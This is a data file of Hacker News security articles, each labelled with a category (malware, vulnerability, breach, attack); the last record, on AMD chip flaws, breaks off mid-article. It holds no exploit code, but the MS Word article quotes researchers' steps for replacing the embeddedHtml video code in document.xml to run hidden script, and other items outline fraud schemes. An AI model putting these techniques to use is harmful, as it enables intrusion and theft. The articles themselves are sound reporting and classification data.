Hesperbot - A New Banking Trojan that can create hidden VNC server on infected systems,https://thehackernews.com/2013/09/hesperbot-new-banking-trojan-that-can.html,"Security firm ESET has discovered a new and effective banking trojan, targeting online banking users and designed to beat the mobile multi-factor authentication systems.

Hesperbot detected as Win32/Spy.Hesperbot is very identical to the infamous Zeus and SpyEye Banking Malwares and infects users in Turkey, the Czech Republic, Portugal, and the United Kingdom.
Trojan has functionalities such as keystroke logging, creation of screenshots and video capture, and setting up a remote proxy.

The attackers aim to obtain login credentials giving them access to the victim's bank account and getting them to install a mobile component of the malware on their Symbian, Blackberry or Android phone.

Some other advanced tricks are also included in this banking Trojan, such as creating a hidden VNC server on the infected system and can do network traffic interception with HTML injection capabilities.

So far, the Trojan hasn't spread too far. The campaign was first detected in the Czech Republic where the attackers had used phishing emails impersonating the country's postal service. Armed with this information, the crooks can try to log into victims' online bank accounts to siphon off their cash.

The trojan also harvests email addresses from the infected system and sends them to a remote server. It is possible that these collected addresses were also targeted by the malware-spreading campaigns.

As for the UK, a special variant of the malware has been created, but ESET said it could not provide any further detail on it.

",Malware
Another CEO Hacked... It's Twitter CEO Jack Dorsey!,https://thehackernews.com/2016/07/twitter-ceo-hacked.html,"Twitter account of another high profile has been hacked!

This time, it's Twitter CEO Jack Dorsey.

OurMine claimed responsibility for the hack, which was spotted after the group managed to post some benign video clips.

The team also tweeted at 2:50 AM ET today saying ""Hey, its OurMine,we are testing your security,"" with a link to their website that promotes and sells its own ""services"" for which it has already made $16,500.

Although the tweets posted by the group did not contain any harmful content, both the tweet and linked to a short Vine video clip have immediately been removed.

Ourmine is the same group of hackers from Saudi Arabia that previously compromised some social media accounts of other CEOs including:
Google's CEO Sundar Pichai
Facebook's CEO Mark Zuckerberg
Twitter's ex-CEO Dick Costolo
Facebook-owned virtual reality company Oculus CEO Brendan Iribe
Since all tweets posted to Dorsey's account came through Vine, it's possible that the group had used passwords from recent mega breaches in LinkedIn, MySpace, and Tumblr to hack Dorsey's Vine account or any other service, which had given OurMine access to his Twitter account.

OurMine claims it is ""testing security"" of accounts and teaching people to secure their online accounts better, though it also offers its support to those it targets, charging up to $5,000 for a ""scan"" of their social media accounts, website security holes, and other security vulnerabilities.

The takeaway:

Change your passwords for all social media sites as well as other online accounts immediately, especially if you use the same password for multiple websites.

Who is going to be the next in the list of OurMine? Any guesses? Hit the comments below.

",Data_Breaches
"Hackers can spy on your calls and track location, using just your phone number",https://thehackernews.com/2016/04/spy-phone-call-location.html,"In Brief
The famous '60 Minutes' television show shocked some viewers Sunday evening when a team of German hackers demonstrated how they spied on an iPhone used by U.S. Congressman, then recorded his phone calls and tracked his movement through Los Angeles.

Hackers leverage a security flaw in SS7 (Signalling System Seven) protocol that allows hackers to track phone locations, listen in on calls and text messages.

The global telecom network SS7 is still vulnerable to several security flaws that could let hackers and spy agencies listen to personal phone calls and intercept SMSes on a potentially massive scale, despite the most advanced encryption used by cellular networks.

All one need is the target's phone number to track him/her anywhere on the planet and even eavesdrop on the conversations.

SS7 or Signalling System Number 7 is a telephony signaling protocol used by more than 800 telecommunication operators around the world to exchange information with one another, cross-carrier billing, enabling roaming, and other features.

Hackers Spied on US Congressman's Smartphone

With US Congressman Ted Lieu's permission for a piece broadcast Sunday night by 60 Minutes, Karsten Nohl of German Security Research Labs was able to intercept his iPhone, record phone call made from his phone to a reporter, and track his precise location in real-time.

During the phone call about the cell phone network hacking, Lieu said: ""First, it's really creepy, and second, it makes me angry.""
""Last year, the President of the United States called me on my phone, and we discussed some issues,"" he added. ""So if hackers were listening in, they'd know that phone conversation, and that is immensely troubling.""
What's more awful is that the designing flaws in SS7 have been in circulation since 2014, when the same German researchers' team alerted the world to it. Some flaws were patched, but few apparently remain or intentionally left, as some observers argue, for governments to snoop on its targets.

The major problem with SS7 is that if any one of the telecom operators is hacked or employs a rogue admin, a large scale of information, including voice calls, text messages, billing information, relaying metadata and subscriber data, is wide open to interception.

The weakness affects all phones, whether it's iOS, Android, or whatever, and is a major security issue. Although the network operators are unwilling or unable to patch the hole, there is little the smartphone users can do.

How Can You Avoid this Hack?

The best mitigation is to use communication apps – that offers ""end-to-end encryption"" to encrypt your data before it leaves your smartphone – over your phone's standard calling feature.

Lieu, who sits on House subcommittees for information technology and national security, also argues for Strong Encryption that, according to the Federal Bureau of Investigation (FBI), make it harder to solve crimes.

Lieu strongly criticized the United States agencies, if any, that may have ignored such serious vulnerabilities that affect Billions of cellular customers.
""The people who knew about this flaw [or flaws] should be fired,"" Lieu said on the show. ""You can't have 300-some Million Americans—and really, right, the global citizenry — be at risk of having their phone conversations intercepted with a known flaw, simply because some intelligence agencies might get some data.""
Few of such apps that are popular and offers end-to-end encryption are Signal, WhatsApp, and Apple's iMessage service that keep users communications safe from prying eyes and ears.

",Vulnerability
New Amazon Kindle Bug Could've Let Attackers Hijack Your eBook Reader,https://thehackernews.com/2021/08/new-amazon-kindle-bug-couldve-let.html,"Amazon earlier this April addressed a critical vulnerability in its Kindle e-book reader platform that could have been potentially exploited to take full control over a user's device, resulting in the theft of sensitive information by just deploying a malicious e-book.
""By sending Kindle users a single malicious e-book, a threat actor could have stolen any information stored on the device, from Amazon account credentials to billing information,"" Yaniv Balmas, head of cyber research at Check Point, said in an emailed statement. ""The security vulnerabilities allow an attacker to target a very specific audience.""
In other words, if a threat actor wanted to single out a specific group of people or demographic, it's possible for the adversary to choose a popular e-book in a language or dialect that's widely spoken among the group to tailor and orchestrate a highly targeted cyber attack.
Upon responsibly disclosing the issue to Amazon in February 2021, the retail and entertainment giant published a fix as part of its 5.13.5 version of Kindle firmware in April 2021.
Attacks exploiting the flaw commence by sending a malicious e-book to an intended victim, who, upon opening the book, triggers the infection sequence sans any interaction, allowing the bad actor to delete the user's library, gain full access to the Amazon account, or convert the Kindle into a bot for striking other devices in the target's local network.
Heap overflow vulnerability in the JBIG2Globals decoding algorithm
The problem resides in the firmware's e-book parsing framework, specifically in the implementation associated with how PDF documents are opened, permitting an attacker to execute a malicious payload on the device.
This is made possible, thanks to a heap overflow vulnerability in the PDF rendering function (CVE-2021-30354), which can be leveraged to gain arbitrary write primitive, and a local privilege escalation flaw in the Kindle application manager service (CVE-2021-30355) that enables the threat actor to chain the two flaws to run malware-laced code as a root user.
Earlier this January, Amazon fixed similar weaknesses — collectively named ""KindleDrip"" — that could have allowed an attacker to take control of victims' devices by delivering a malicious e-book to the targets and make unauthorized purchases.
""Kindle, like other IoT devices, are often thought of as innocuous and disregarded as security risks,"" Balmas said. ""These IoT devices are vulnerable to the same attacks as computers. Everyone should be aware of the cyber risks in using anything connected to the computer, especially something as ubiquitous as Amazon's Kindle.""

",Malware
New ZombieLoad v2 Attack Affects Intel's Latest Cascade Lake CPUs,https://thehackernews.com/2019/11/zombieload-cpu-vulnerability.html,"Zombieload is back.

This time a new variant (v2) of the data-leaking side-channel vulnerability also affects the most recent Intel CPUs, including the latest Cascade Lake, which are otherwise resistant against attacks like Meltdown, Foreshadow and other MDS variants (RIDL and Fallout).

Initially discovered in May this year, ZombieLoad is one of the three novel types of microarchitectural data sampling (MDS) speculative execution vulnerabilities that affect Intel processor generations released from 2011 onwards.

The first variant of ZombieLoad is a Meltdown-type attack that targets the fill-buffer logic allowing attackers to steal sensitive data not only from other applications and the operating system but also from virtual machines running in the cloud with common hardware.

ZombieLoad v2 Affects Latest Intel CPUs

Now, the same group of researchers has disclosed details of a second variant of the vulnerability, dubbed ZombieLoad v2 and tracked as CVE-2019-11135, that resides in Intel's Transactional Synchronization Extensions (TSX).

Intel TSX provides transactional memory support in hardware, aiming to improve the performance of the CPU by speeding up the execution of multi-threaded software and aborting a transaction when a conflict memory access was found.


Intel has referred ZombieLoad v2 as ""Transactional Synchronization Extensions (TSX) Asynchronous Abort (TAA)"" vulnerability because the exploitation of this flaw requires a local attacker, with the ability to monitor execution time of TSX regions, to infer memory state by comparing abort execution times.

ZombieLoad v2 affects desktops, laptops, and cloud computers running any Intel CPUs that support TSX, including Core, Xeon processors, and Cascade Lake, Intel's line of high-end CPUs that was introduced in April 2019.
Microcode Patches Available for ZombieLoad v2

Researchers warned Intel about ZombieLoad Variant 2 on April 23, the same time they discovered and reported the other MDS flaws that the chipmaker patched a month later in May.

On May 10, the team also informed Intel that the ZombieLoad Variant 2 attack works against newer lines of the company's CPUs, even when they include hardware mitigations against MDS attacks.

Intel asked the researchers not to disclose the details of Variant 2 until now when the chipmaker came up with security patches with a microcode update that addresses this vulnerability.

The company has also provided MDS mitigations for operating system developers, virtual machine manager (VMM) developers, software developers using Intel SGX, and system administrators.

For more details on the new ZombieLoad variant, you can head on to the original research paper published by researchers in May, which has now been updated to add information on the second variant as well.

Meanwhile, Red Hat has also released a script using which users can detect if their Intel-powered system is also vulnerable to this flaw.
",Vulnerability
Top Cyber Attacks of 2020,https://thehackernews.com/2021/01/top-cyber-attacks-of-2020.html,"With so much of the world transitioning to working, shopping, studying, and streaming online during the coronavirus pandemic, cybercriminals now have access to a larger base of potential victims than ever before.
""Zoombomb"" became the new photobomb—hackers would gain access to a private meeting or online class hosted on Zoom and shout profanities and racial slurs or flash pornographic images. Nation-state hacker groups mounted attacks against organizations involved in the coronavirus pandemic response, including the World Health Organization and Centers for Disease Control and Prevention, some in an attempt to politicize the pandemic.
Even garden-variety cyber attacks like email phishing, social engineering, and refund theft took on a darker flavor in response to the widespread economic precarity brought on by the pandemic.
""Hackers were mostly trying to take advantage of people's fear by offering medical equipment like thermometers and masks for cheap, low-rate loan offers and fake government emails,"" said Mark Adams, a cybersecurity analyst and subject matter expert for Springboard's new Cyber Security Career Track. ""You know, the kinds of emails that say you owe X amount in back taxes and you will be arrested if you do not respond to this email today!""
Here's a closer look at some of the biggest cyberattacks of 2020.
Attack 1: Fraudulent unemployment claims rise in response to the pandemic
Unemployment claims soared to a record high of nearly 23 million claims filed in May, shortly after most U.S. states instituted lockdowns to prevent the spread of the coronavirus. Two months later, the FBI reported a spike in fraudulent unemployment claims from hackers who had stolen taxpayers' personally identifiable information and filed for unemployment insurance while impersonating the victim.
""Tax scams tend to rise during tax season or during times of crisis, and scam artists are using the pandemic to try stealing money and information from honest taxpayers,"" IRS Commissioner Chuck Rettig said in a statement.
Criminals steal this information in different ways, such as purchasing stolen personal data on the dark web, sending email phishing scams, cold-calling the victims in an impersonation scam by pretending to be an IRS agent or bank representative, or accessing the data from a previous data breach or computer intrusion.
Each year, the IRS publishes a list called the Dirty Dozen, enumerating tax- and non-tax-related scams taxpayers should watch out for. In January, a U.S. resident was jailed for using information leaked through a data breach at a payroll company to file a fraudulent tax return worth $12 million.
For national security reasons, government agencies tend to be less forthcoming about data breaches than private companies, said Adams.
""If people think your agency is vulnerable then more people will try [to hack you],"" said Adams. ""It only takes one massive event to make it look like you don't have your act together.""
Attack 2: T-Mobile breach exposes sensitive customer data—twice
In December, T-Mobile revealed that it had been hacked once again, the fourth incident in three years.
Companies that are repeat offenders for weak cybersecurity infrastructure often make a conscious choice to forgo extra protections because it's more cost-effective to pay the fines levied by the Federal Trade Commission in the event of a breach, according to Adams. It's unclear if T-Mobile is one of them.
""Some companies, including banks, do a cost/benefit analysis,"" he said. ""In some cases, it's cheaper to take the hit. Slap us on the wrist so we can move on.""
The first T-Mobile attack of 2020 was confirmed in March 2020, when a cybercriminal gained access to employee email accounts and stole data on T-Mobile employees and some of its customers. For some users, ""social security numbers, financial account information and government identification numbers"" were stolen, while others simply had their account information seized.
The second attack was limited to what the FCC regards as ""customer proprietary network information,"" such as phone numbers, the number of lines associated with the account, and information about calls placed. T-Mobile was careful to mention that the breach affected just 0.2% of its 100 million-strong customer base, which still equates to about 200,000 people. Stealing customer metadata (information about a customer's transaction history that doesn't personally identify them) does not enable a hacker to steal your identity or seize money from your bank account, but they can use this information in conjunction with another scheme.
For example, they can launch coordinated phishing attacks and phone scams. Social engineering refers to the practice of using verbal manipulation to coerce a victim into divulging their personal information. These methods become more convincing when a hacker has detailed information on you, such as your transaction history, making them seem like a legitimate call center representative.
Attack 3: Hackers try to meddle with the coronavirus pandemic response
In April, hackers targeted top officials who were working on the global response to the pandemic. While the World Health Organization itself wasn't hacked, employee passwords were leaked through other websites. Many of the attacks were phishing emails to lure WHO staff into clicking on a malicious link in an email that would download malware onto their device.
Users of internet forum 4chan, which is now a breeding ground for alt-right groups, circulated over 2,000 passwords they claimed were linked to WHO email accounts, according to Bloomberg. Details spread to Twitter and other social media sites, where far-right political groups claimed the WHO had been attacked in a bid to undermine the perceived veracity of public health guidelines.
""There is definitely a political aspect to many [cyberattacks] and they will sometimes do it to gain a political advantage or send a message to an adversary,"" said Adams. ""Or maybe it's just to put that adversary on the defensive to see how they behave.""
In another example of hackers seizing upon the pandemic zeitgeist, some sent phishing emails impersonating the WHO and urging the general public to donate to a fictitious coronavirus response fund, not the real COVID-19 Solidarity Response Fund.
Attack 4: The FireEye attack that exposed a major breach of the U.S. government
When California-based cybersecurity company FireEye discovered that over 300 of its proprietary cybersecurity products had been stolen, it uncovered a massive breach that had gone undetected for an estimated nine months.
That breach extended to over 250 federal agencies run by the U.S. government, including the U.S. Treasury Department, Energy Department, and even parts of the Pentagon.
But the breach didn't start with FireEye. The attack began when an IT management software company called SolarWinds was hacked, causing some of its most high-profile customers to be breached, including Fortune 500 corporations like Microsoft, Intel, Deloitte, and Cisco. This domino effect is known as a ""supply chain"" attack, where the infiltration of one company's cybersecurity defenses renders all of its customers vulnerable to attack.
Hackers also monitored the internal emails of the U.S. Treasury and Commerce departments, according to Reuters, which broke the news of the cyberattack in mid-December. Government officials and cybersecurity experts say that Russia's Foreign Intelligence Service, known as SVR, is behind the attacks. Investigators are still piecing together the details of the breach to surmise the hacker's intentions.
Software companies are prime targets for cyberattacks for two reasons. First, they're under immense pressure to release new iterations and updates ahead of their competitors, which can mean cutting corners on cybersecurity protections.
""This is something that has plagued the software industry in general for the last twenty to thirty years,"" said Adams. ""If there are delays in getting that next product or update out it just doesn't look good because that's revenue sitting on the table.""
Secondly, attacking a software company enables hackers to breach more victims than if they targeted a single company or government entity. When a software company is hacked, and the breach goes undetected, hackers need only infect a new software update or patch to breach the company's customers. When the company unwittingly ships the infected software, all of its customers who download it inadvertently install the hacker's malware onto their systems.
With Springboard's comprehensive Cyber Security Career Track, you'll work 1:1 with an industry-mentor to learn key aspects of information technology, security software, security auditing, and finding and fixing malicious code. Learning units include subject-expert approved resources, application-based mini-projects, hands-on labs, and career-search related coursework. Learn more about Springboard's Cyber Security Career Track here.

",Cyber_Attack
That's A Clever Hack! How anyone could make Money from Google and Microsoft,https://thehackernews.com/2016/07/hack-make-money.html,"Smart hackers could exploit a loophole that could allow them to steal a significant amount of cash from Google, Microsoft and Instagram using a Premium rate phone number.

Security researcher Arne Swinnen from Belgium has discovered an ingenious way to steal money from big tech companies like Google, Microsoft, and Instagram using their two-factor authentication (2FA) voice-based token distribution systems.

Swinnen argues that any attacker with malicious intent could create fake Google, Microsoft or Instagram accounts, as well as premium phone services, and then link them together.

The attacker could then request 2FA voice-based tokens for all fake accounts using an automated scripts, placing legitimate phone calls to his service to earn him quite a nice profit.

Swinnen created accounts on Google, Microsoft Office 365 and Instagram and then tied them to a premium phone number instead of a regular one.

As a result, whenever one of these three services would call the account's phone number to send the user their account access code, the premium number would register an incoming call and bill the companies.
""They all offer services to supply users with a token via a computer-voiced phone call, but neglected to properly verify whether supplied phone numbers were legitimate non-premium numbers,"" Swinnen says in his blog.

""This allowed a dedicated attacker to steal thousands of EUR/USD/GBP/... Microsoft was exceptionally vulnerable to mass exploitation by supporting virtually unlimited concurrent calls to one premium number.""
Although the Swinnen reported the loophole to all the three companies, he calculated that he could have stolen €432,000 per year from Google, €669,000 per year from Microsoft and €2,066,000 per year from Instagram.

You can learn more technical details about the hack in Swinnen's blog post.

Although no customer data was being put at risk through his hack, Facebook (who owns Instagram) and Microsoft rewarded Swinnen with $2000 and $500 via their bug bounty programs, while Google mentioned his name in the company's Hall of Fame.

",Cyber_Attack
WikiLeaks Founder Charged With Conspiring With LulzSec & Anonymous Hackers,https://thehackernews.com/2020/06/wikileaks-lulzsec-anonymous-hackers.html,"The United States government has filed a superseding indictment against WikiLeaks founder Julian Assange accusing him of collaborating with computer hackers, including those affiliated with the infamous LulzSec and ""Anonymous"" hacking groups.

The new superseding indictment does not contain any additional charges beyond the prior 18-count indictment filed against Assange in May 2019, but it does ""broaden the scope of the conspiracy surrounding alleged computer intrusions with which Assange was previously charged,"" the DoJ said.

In May 2019, Assange was charged with 18 counts under the old U.S. Espionage Act for unlawfully publishing classified military and diplomatic documents on his popular WikiLeaks website in 2010, which he obtained from former Army intelligence analyst Chelsea Manning.

Assange has been alleged to have obtained those classified documents by conspiring with Manning to crack a password hash to a classified U.S. Department of Defense computer.

According to the new superseding indictment [PDF] unsealed Wednesday, Assange and others at WikiLeaks also recruited hackers at conferences in Europe and Asia and conspired with them to commit computer intrusions to benefit WikiLeaks.

Since the early days of WikiLeaks, Assange has spoken in conferences about his own history as a ""famous teenage hacker in Australia"" and encouraged others to hack to obtain information for WikiLeaks.

""In 2009, for instance, Assange told the Hacking At Random conference that WikiLeaks had obtained nonpublic documents from the Congressional Research Service by exploiting ""a small vulnerability"" inside the document distribution system of the United States Congress, and then asserted that ""[t]his is what any one of you would find if you were actually looking."","" the DoJ said.

Not just that, the indictment also accused Assange of gaining unauthorized access to a government computer system of a NATO country (30 member states from North America and Europe) in 2010.

Two years later, ""Assange communicated directly with a leader of the hacking group LulzSec (who by then was cooperating with the FBI),"" and provided him a list of targets to hack.

""With respect to one target, Assange asked the LulzSec leader to look for (and provide to WikiLeaks) mail and documents, databases, and pdfs. In another communication, Assange told the LulzSec leader that the most impactful release of hacked materials would be from the CIA, NSA, or the New York Times,"" the DoJ said.

Assange also obtained and published on WikiLeaks emails from a data breach committed against a U.S. intelligence consulting company by a hacker affiliated with ""Anonymous"" and LulzSec. According to that hacker, Assange indirectly asked him to spam that victim company again.""

Assange was arrested in April 2019 in London after Ecuador abruptly withdrew his asylum, and was later sentenced to 50 weeks in U.K. prison for breaching his bail conditions in 2012.

The 48-year-old is currently in prison in the U.K., where he is currently awaiting possible extradition to the United States, pending a September hearing.

If convicted for all counts, Assange could face a total maximum sentence of 175 years in the U.S. prison for his alleged role in ""one of the largest compromises of classified information in the history of the United States.""
",Cyber_Attack
Watch Out! This New Web Exploit Can Crash and Restart Your iPhone,https://thehackernews.com/2018/09/iphone-crash-exploit.html,"It's 2018, and just a few lines of code can crash and restart any iPhone or iPad and can cause a Mac computer to freeze.

Sabri Haddouche, a security researcher at encrypted instant messaging app Wire, revealed a proof-of-concept (PoC) web page containing an exploit that uses only a few lines of specially crafted CSS & HTML code.

Beyond just a simple crash, the web page, if visited, causes a full device kernel panic and an entire system reboot.

The Haddouche's PoC exploits a weakness in Apple's web rendering engine WebKit, which is used by all apps and web browsers running on the Apple's operating system.

Since the Webkit issue failed to properly load multiple elements such as ""div"" tags inside a backdrop filter property in CSS, Haddouche created a web page that uses up all of the device's resources, causing shut down and restart of the device due to kernel panic.

You can also watch the video demonstration published by the researcher, which shows the iPhone crash attack in action.
All web browsers, including Microsoft Edge, Internet Explorer, and Safari on iOS, as well as Safari and Mail in macOS, are vulnerable to this CSS-based web attack, because all of them use the WebKit rendering engine.

Windows and Linux users are not affected by this vulnerability.

The Hacker News tested the attack on different web browsers, including Chrome, Safari, and Edge (on MacBook Pro and iPhone X) and it still worked on the latest version of both macOS and iOS operating systems.

So, Apple users are advised to be vigilant while visiting any web page including the code or clicking on links sent over their Facebook or WhatsApp account, or in an email.

Haddouche has posted the source code of the CSS & HTML web page that causes this attack on his GitHub page

Haddouche said he already reported the issue to Apple about the Webkit vulnerability and the company is possibly investigating the issue and working on a fix to address it in a future release.
",Cyber_Attack
Hackers to release 0-days in comics,https://thehackernews.com/2012/02/hackers-to-release-0-days-in-comics.html,"Hackers to release 0-days in comics
Hackers frequently disclose vulnerabilities in various products, but taking it to a whole new level, now hackers and malware coders are planning to release actual 0-days through their own comic books. The Malware conference, Malcon announced it on their groups yesterday.

In the making from last three months, the comic is planned for release with objective of simplifying and helping coders understand the art behind malcoding for offensive defense and security.

It is learned that there will be two formats for the comic - a web and a printed version. The printed version will be specifically for the Indian Government officials, Intelligence agencies and Law enforcement groups, who are regular attendees at the conference.

This is also seen as a remarkable and significant point in the history and evolution of hackers and also points at things to come in wake of real threats with respect to cyber warfare capabilities of India in future.

On condition of anonimity a supporting member said ""It is fascinating - just imagine, you read this hack in a freshly released comic book and can actually play it out in real world and exploit it till the time the vendors fix it! I mean we have seen hacking techniques adapted in movies and books, but taking one from and using in real world - its weird and fantastic!""

The comic will have a super hero or not is yet to be disclosed - however, Professional hackers are already ""excited"" at this and have poured in their support to MalCon to help them in the project.

Guess we can now read comics officially on job and tell our bosses ""Its for data security!""

",Vulnerability
533 Million Facebook Users' Phone Numbers and Personal Data Leaked Online,https://thehackernews.com/2021/04/533-million-facebook-users-phone.html,"In what's likely to be a goldmine for bad actors, personal information associated with approximately 533 million Facebook users worldwide has been leaked on a popular cybercrime forum for free—which was harvested by hackers in 2019 using a Facebook vulnerability.
The leaked data includes full names, Facebook IDs, mobile numbers, locations, email addresses, gender, occupation, city, country, marital status broken, account creation date, and other profile details broken down by country, with over 32 million records belonging to users in the U.S., 11 million users the U.K., and six million users in India, among others.
Also included in the leak are phone numbers from Facebook CEO Mark Zuckerberg, and co-founders Chris Hughes, and Dustin Moskovitz, who are the fourth, fifth, and sixth members to have registered on Facebook.
Interestingly, it appears that the same phone number is also registered to his name on the privacy-focussed messaging app Signal. ""Mark Zuckerberg also respects his own privacy, by using a chat app that has end-to-end encryption and isn't owned by @facebook,"" tweeted Synack Red Team researcher Dave Walker.
In total, the data being offered includes user information from 106 countries. Additionally, the data seems to have been obtained by exploiting a vulnerability that enabled automated scripts to scrape Facebook users' public profiles and associated private phone numbers en masse. The flaw has since been fixed by Facebook.
""This is old data that was previously reported on in 2019. We found and fixed this issue in August 2019,"" said Liz Bourgeois, Facebook's director of strategic response communications, in a Saturday tweet.
Old data or not, the fact that the data appears to have been obtained by scraping Facebook profiles further complicates the company's equation with privacy, even as it has emerged relatively unscathed in the wake of the Cambridge Analytica data scandal, in which the British consulting firm amassed of the personal data of millions of Facebook users without their consent for purposes of political advertising.
While this data dump appears to have sold in cybercrime communities at least since last year, a Telegram bot that appeared on the scene earlier this January allowed users to look up a phone number and receive the corresponding user's Facebook ID, or vice versa for a fee.
But with the data now available publicly for free, it's likely that the leak will allow malicious adversaries to exploit information for social engineering, marketing scams, and other cybercrimes. Users who have shared their phone numbers and email addresses with Facebook and have not changed them since 2019 are advised to watch out for possible smishing attacks, spam calls, and fraud.

",Data_Breaches
Student Hacks Apple Passbook App to Get Free Flight Boarding Passes,https://thehackernews.com/2014/04/student-hacks-apple-passbook-app-to-get.html,"Is Air Travel expensive for You?? Of course it's costly for Common people. But, hackers have found a way out of it too. If you have an iPhone then there is no need to buy airline tickets, as a simple iPhone hack can fool any modern airport and get you a seat in first class for free.

Anthony Hariton, an 18 year-old computer science student at the University of Crete in Greece, claims he has found a plough to fetch free flight tickets across Europe by generating fake boarding passes designed for Apple's Passbook app.

The student prepares to give his presentation entitled ""Exploiting Passbook to Fly for Free,"" in a hacking conference next month, in which he will theoretically demonstrate on how to generate fake boarding passes using only a computer and an iPhone, then get through all the Security Airport checks and then eventually ending up on your first class seat to the destination of your choice.

HACKING iPHONE APP TO GET FREE BOARDING PASSES
The iOS app ""Passbook"" allows you to scan day-to-day items such as movie tickets, gifts cards, boarding passes, and more stored in one place, so that users don't have to carry any papers or docs all the time. Once the app stores the boarding pass, all a traveler has to do is present the boarding pass on your phone without having to slog through email or print out a paper copy.

This is exactly how Hariton allegedly used Passbook to generate convincing boarding passes and he also claims that the hack of the Apple's Passbook app is so simple that even a savvy user can do it, and to do it, all that's required is a computer and a Smartphone for a method that puts to the test both physical and digital security.

Hariton also suggests that one would also require a good poker face and nerves of steel along with the software hack, as ""social engineering and a few more tactics"" will have to complement the software.

Until the Presentation is done, it doesn't make sense to say that the hack works. But, if it does work, there are more chances of those who are caught would most likely be arrested and charged with fraud and theft.

",Vulnerability
Unpatched MS Word Flaw Could Allow Hackers to Infect Your Computer,https://thehackernews.com/2018/10/microsoft-office-online-video.html,"Cybersecurity researchers have revealed an unpatched logical flaw in Microsoft Office 2016 and older versions that could allow an attacker to embed malicious code inside a document file, tricking users into running malware onto their computers.

Discovered by researchers at Cymulate, the bug abuses the 'Online Video' option in Word documents, a feature that allows users to embedded an online video with a link to YouTube, as shown.

When a user adds an online video link to an MS Word document, the Online Video feature automatically generates an HTML embed script, which is executed when the thumbnail inside the document is clicked by the viewer.

Researchers decided to go public with their findings three months after Microsoft refused to acknowledge the reported issue as a security vulnerability.

How Does the New MS Word Attack Works?

Since the Word Doc files (.docx) are actually zip packages of its media and configuration files, it can easily be opened and edited.
According to the researchers, the configuration file called 'document.xml,' which is a default XML file used by Word and contains the generated embedded-video code, can be edited to replace the current video iFrame code with any HTML or javascript code that would run in the background.

In simple words, an attacker can exploit the bug by replacing the actual YouTube video with a malicious one that would get executed by the Internet Explorer Download Manager.

""Inside the .xml file, look for the embeddedHtml parameter (under WebVideoPr) which contains the Youtube iframe code,"" the researchers said. ""Save the changes in the document.xml file, update the docx package with the modified XML and open the document. No security warning is presented while opening this document with Microsoft Word.""

Video Demonstration: MS Word Online Video Flaw

To prove the extent of the vulnerability, Cymulate researchers created a proof-of-concept attack, demonstrating how a maliciously crafted document with an embed video, which if clicked, would prompt user to run an embedded executable (as a blob of a base64)–without downloading anything from the internet or displaying any security warning when the victim clicks on the video thumbnail.
The hack requires an attacker to convince victims into opening a document and then clicking on an embedded video link.

Cymulate researchers responsibly reported this bug, which impacts all users with MS Office 2016 and older versions of the productivity suite, three months ago to Microsoft, but the company refused to acknowledge it as a security vulnerability.

Apparently, Microsoft has no plans to fix the issue and says its software is ""properly interpreting HTML as designed.""

Meanwhile, researchers recommended enterprise administrators to block Word documents containing the embedded video tag: ""embeddedHtml"" in the Document.xml file, and end users are advised not to open uninvited email attachments from unknown or suspicious sources.

",Vulnerability
Update Google Chrome Browser to Patch New Critical Security Flaws,https://thehackernews.com/2019/09/google-chrome-update.html,"Google has released an urgent software update for its Chrome web browser and is urging Windows, Mac, and Linux users to upgrade the application to the latest available version immediately.

Started rolling out to users worldwide this Wednesday, the Chrome 77.0.3865.90 version contains security patches for 1 critical and 3 high-risk security vulnerabilities, the most severe of which could allow remote hackers to take control of an affected system.

Google has decided to keep details of all four vulnerabilities secret for a few more days in order to prevent hackers from exploiting them and give users enough time to install the Chrome update.

For now, Chrome security team has only revealed that all four vulnerabilities are use-after-free issues in different components of the web browser, as mentioned below, the critical of which could lead to remote code execution attacks.

The use-after-free vulnerability is a class of memory corruption issue that allows corruption or modification of data in the memory, enabling an unprivileged user to escalate privileges on an affected system or software.

Vulnerabilities Patched By Chrome 77.0.3865.90

Use-after-free in UI (CVE-2019-13685) — Reported by Khalil Zhani
Use-after-free in media (CVE-2019-13688) — Reported by Man Yue Mo of Semmle Security Research Team
Use-after-free in media (CVE-2019-13687) — Reported by Man Yue Mo of Semmle Security Research Team
Use-after-free in offline pages (CVE-2019-13686) — Reported by Brendon Tiszka

Google has paid out a total of $40,000 in rewards to Man Yue Mo of Semmle for both the vulnerabilities—$20,000 for CVE-2019-13687 and $20,000 for CVE-2019-13688—while the bug bounties for the remaining two vulnerabilities are yet to be decided.

Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary code in the context of the browser just by convincing victims into just opening, or redirecting them to, a specially-crafted web-page on the affected Chrome browser, without requiring any further interaction.

Based on previous discloses, the use-after-free flaw could also lead to sensitive information disclosure, security restrictions bypass, unauthorized actions, and cause denial-of-service conditions—depending on the privileges associated with the application.

Though Google Chrome automatically notifies users about the latest available version, users are recommended to manually trigger the update process by going to ""Help → About Google Chrome"" from the menu.

Besides this, you are also recommended to run all software on your systems, whenever possible, as a non-privileged user to diminish the effects of successful attacks exploiting any zero-day vulnerability.

We will update you more about these security vulnerabilities as soon as Google releases their technical details.

",Vulnerability
13 Critical Flaws Discovered in AMD Ryzen and EPYC Processors,https://thehackernews.com/2018/03/amd-processor-vulnerabilities.html,"Security researchers claimed to have discovered 13 critical Spectre/Meltdown-like vulnerabilities throughout AMD's Ryzen and EPYC lines of processors that could allow attackers to access sensitive data, install persistent malware inside the chip, and gain full access to the compromised systems.

All these vulnerabilities reside in the secure part of the AMD's Zen architecture processors and chipsets—typically where device stores sensitive information such as passwords and encryption keys and makes sure nothing malicious is running when you start your PC.

The alleged vulnerabilities are categorized into four classes—RYZENFALL, FALLOUT, CHIMERA, and MASTERKEY—and threaten wide-range of servers, workstations, and laptops running vulnerable AMD Ryzen, Ryzen Pro, Ryzen Mobile or EPYC processors.

Discovered by a team of researchers at Israel-based CTS-Labs, newly disclosed unpatched vulnerabilities defeat AMD's Secure Encrypted Virtualization (SEV) technology and could allow attackers to bypass Microsoft Windows Credential Guard to steal network credentials.

Moreover, researchers also claimed to have found two exploitable manufacturer backdoors inside Ryzen chipset that could allow attackers to inject malicious code inside the chip.
Researchers successfully tested these vulnerabilities against 21 different AMD products and believe that 11 more products are also vulnerable to the issues.

Though AMD is currently investigating the accuracy of these flaws, Dan Guido, the founder of security firm Trail of Bits, who got early access to the full technical details and PoC exploits, have independently confirmed that all 13 AMD flaws are accurate and works as described in the paper.

Here's the brief explanation of all the vulnerabilities:

RYZENFALL (v1, v2, v3, v4) AMD Vulnerabilities
These flaws reside in AMD Secure OS and affect Ryzen secure processors (workstation/pro/mobile).

